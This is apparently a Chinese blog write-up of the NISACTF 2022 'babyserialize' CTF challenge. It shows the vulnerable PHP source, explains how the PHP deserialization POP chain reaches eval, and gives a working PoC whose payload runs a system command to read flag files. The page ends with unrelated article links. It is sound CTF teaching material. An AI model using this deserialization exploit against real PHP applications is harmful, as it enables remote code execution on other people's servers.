非常典型的一道POP链构造

题目源码

 <?php
include "waf.php";
class NISA{
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
} function __call($from,$val){
$this->fun=$val[0];
} public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
} class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
} class Ilovetxw{
public $huang;
public $su; public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
} public function __toString(){
$bb = $this->su;
return $bb();
}
} class four{
public $a="TXW4EVER";
private $fun='abc'; public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
} if(isset($_GET['ser'])){
@unserialize($_GET['ser']);
}else{
highlight_file(__FILE__);
} //func checkcheck($data){
// if(preg_match(......)){
// die(something wrong);
// }
//} //function hint(){
// echo ".......";
// die();
//}
?>

解题思路

(1)eval反推到__invoke
这里先看到eval,而eval中的变量可控,所以肯定是代码执行,而eval又在__invoke魔术方法中。
__invoke魔术方法是对象被当做函数进行调用的时候所触发
这里就反推看哪里用到了类似$a()这种的。 (2)__invoke反推到__toString
在Ilovetxw类的toString方法中,返回了return $bb;
__ToString方法,是对象被当做字符串的时候进行自动调用 (3)__toString反推到__set
在four的__set中,调用了strolower方法。如果不清楚,可以具体看下文档。 (4)从__set反推到__call
__set:对不存在或者不可访问的变量进行赋值就自动调用
__call:对不存在的方法或者不可访问的方法进行调用就自动调用
这里反推到Ilovetxw中的__call方法,而__call方法又可直接反推到TianXiWei中的__wakeup
整体流程思路 :

Class NISA -> __invoke()

Class Ilovetxw -> __toString()

Class four -> __set()

Class Ilovetxw -> __call()

Class TianXiWei -> __wakeup()

由于上面的思路是倒推出的,所以编写POC的时候,要反着编写

$a = new TianXiWei();
$a->ext=new Ilovetxw();
$a->ext->huang=new four();
$a->ext->huang->a=new Ilovetxw();
$a->ext->huang->a->su=new NISA();
echo urlencode(serialize($a));

POC

<?php
class NISA{
public $fun;
public $txw4ever='SYSTEM("tac /f*");';
} class TianXiWei{
public $ext;
public $x;
} class Ilovetxw{
public $huang;
public $su;
} class four{
public $a;
private $fun;
}
$a=new tianxiwei;
$a->ext=new ilovetxw;
$a->ext->huang=new four;
$a->ext->huang->a=new ilovetxw;
$a->ext->huang->a->su=new nisa;
echo urlencode(serialize($a));

传参得到flag

NSSCTF{3ddbc70a-19d9-4e09-b995-e43809e5b926}

[NISACTF 2022]babyserialize的更多相关文章

  1. web安全学习笔记(2022/8/26)

    网络安全Web学习笔记 @author: lamaper @email: lamaper@qq.com @blog: lamaper - 博客园 (cnblogs.com) @date: Aug.26 ...

  2. CJOJ 2022 【一本通】简单的背包问题(搜索)

    CJOJ 2022 [一本通]简单的背包问题(搜索) Description 设有一个背包可以放入的物品重量为S,现有n件物品,重量分别是w1,w2,w3,-wn. 问能否从这n件物品中选择若干件放入 ...

  3. HDU 2022 海选女主角

    http://acm.hdu.edu.cn/showproblem.php?pid=2022 Problem Description potato老师虽然很喜欢教书,但是迫于生活压力,不得不想办法在业 ...

  4. ural 2022 Riding a Toad

    2022. Riding a Toad Time limit: 1.0 secondMemory limit: 64 MB A tribe of leafmen live in the old for ...

  5. [LOJ 2022]「AHOI / HNOI2017」队长快跑

    [LOJ 2022]「AHOI / HNOI2017」队长快跑 链接 链接 题解 不难看出,除了影响到起点和终点的射线以外,射线的角度没有意义,因为如果一定要从该射线的射出一侧过去,必然会撞到射线 因 ...

  6. [翻译]正式宣布 Visual Studio 2022

    原文: [Visual Studio 2022] 首先,我们要感谢正在阅读这篇文章的你,我们所有的产品开发都始于你也止于你,无论你是在开发者社区上发帖,还是填写了调查问卷,还是向我们发送了反馈意见,或 ...

  7. 它来了!!!有史以来第一个64位Visual Studio(2022)预览版将在今夏发布!

    美国时间2021年4月19日,微软产品研发部一位负责人Amanda Silver在其博客上发布一则<Visual Studio 2022>的消息,表示将在今年(2021年)夏天发布Visu ...

  8. .NET6系列:微软正式宣布Visual Studio 2022

    系列目录     [已更新最新开发文章,点击查看详细] 首先,我们要感谢正在阅读这篇文章的你,我们所有的产品开发都始于你也止于你,无论你是在开发者社区上发帖,还是填写了调查问卷,还是向我们发送了反馈意 ...

  9. .NET6系列:Visual Studio 2022 线路图

    系列目录     [已更新最新开发文章,点击查看详细] 在上一篇博客<Visual Studio 2022>中介绍了VS2022的性能改进与重要功能.本文主要介绍在 Visual Stud ...

  10. 微软发布了Visual Studio 2022 Preview 1 以及.NET 6 Preview 5

    Microsoft 今天宣布了Visual Studio 2022 的第一个预览版,并且同时也发布了.NET 6 Preview 5. https://devblogs.microsoft.com/v ...

随机推荐

  1. ceph存储介绍

    一.ceph简介 ceph是一个开源的.统一的分布式存储系统,设计初衷是提供较好的性能.可靠性和可扩展性.其中"统一"是说ceph可以一套存储系统同时提供块存储设备.文件系统存储和 ...

  2. 【语义分割专栏】:FCN原理篇

    目录 前言 语义分割 背景介绍 FCN核心剖析 全卷积(Fully Convolution) 反卷积(deconvolution) 最近邻插值法 双线性插值 反卷积 跳跃连接(Skip Connect ...

  3. .NET外挂系列:5. harmony 中补丁参数的有趣玩法(下)

    一:背景 1. 讲故事 开局一张表,故事全靠编,为了能够承上启下,先把参数列表放出来. 参数名 说明 __instance 访问非静态方法的实例(类似 this). __result 获取/修改返回值 ...

  4. 保姆式Win11安装教程|Rufus工具制作U盘+绕过限制+驱动安装全解析(附资源包)

    Windows 11 简介 Windows 11是微软推出的全新一代操作系统,以直观交互和AI技术为核心升级.其界面采用圆角设计和居中任务栏布局,支持多窗口贴靠分屏与虚拟桌面功能,提升多任务处理效率. ...

  5. Qt渲染漫谈(一)

    最近在看一些关于游戏引擎的东西,本来是有几个游戏的小点子,其实实现起来还挺麻烦的,想找个游戏引擎看看能不能码起来.辗转之后发现了很多2D引擎,其中国产的要数cocos2dx用的好像是比较广泛,但是好多 ...

  6. Spring IoC容器添加组件的方式

      小编在博文<Spring Bean是什么>中介绍了Bean的基本概念,这里详细地介绍如何注册bean. 1.包扫描@ComponentScan+组件标注注解   适用场景:可以通过该方 ...

  7. 深入剖析开源AI阅读器项目Saga Reader基于大模型的文本转换与富文本渲染优化方案

    引言 AI阅读器作为一种新型的内容消费工具,正在改变人们获取和处理信息的方式.本文将介绍Saga Reader项目中如何利用大型语言模型(LLM)进行网页内容抓取.智能优化和富文本渲染,特别是如何通过 ...

  8. jenkins的搭建及问题处理

    Jenkins搭建第一步 本文讲述的本人搭建Jenkins的流程及遇到的坑及处理方法 1.搭建 Linux操作系统为Centos Jenkins版本为24稳定版 操作命令: sudo wget -O ...

  9. AI 赋能指标管理分析,开启企业数智领航时代

    以下为本次分享的回顾: 在大数据时代,企业数字化转型的核心目标在于让数据发挥真正的价值.从数据报表到分析平台,再到日常取数,企业所依赖的不仅仅是数据本身,而是通过数据所呈现出对业务的分析.业务的查看以 ...

  10. CS与BS架构

    CS/BS C/S和B/S都是互联网中常见的网络结构模型. (1)什么是C/S模型 C/S模型指的是客户端/服务器模型,是一种计算机系统架构模式,其中系统功能被划分为客户端和服务器两个独立的部分,它们 ...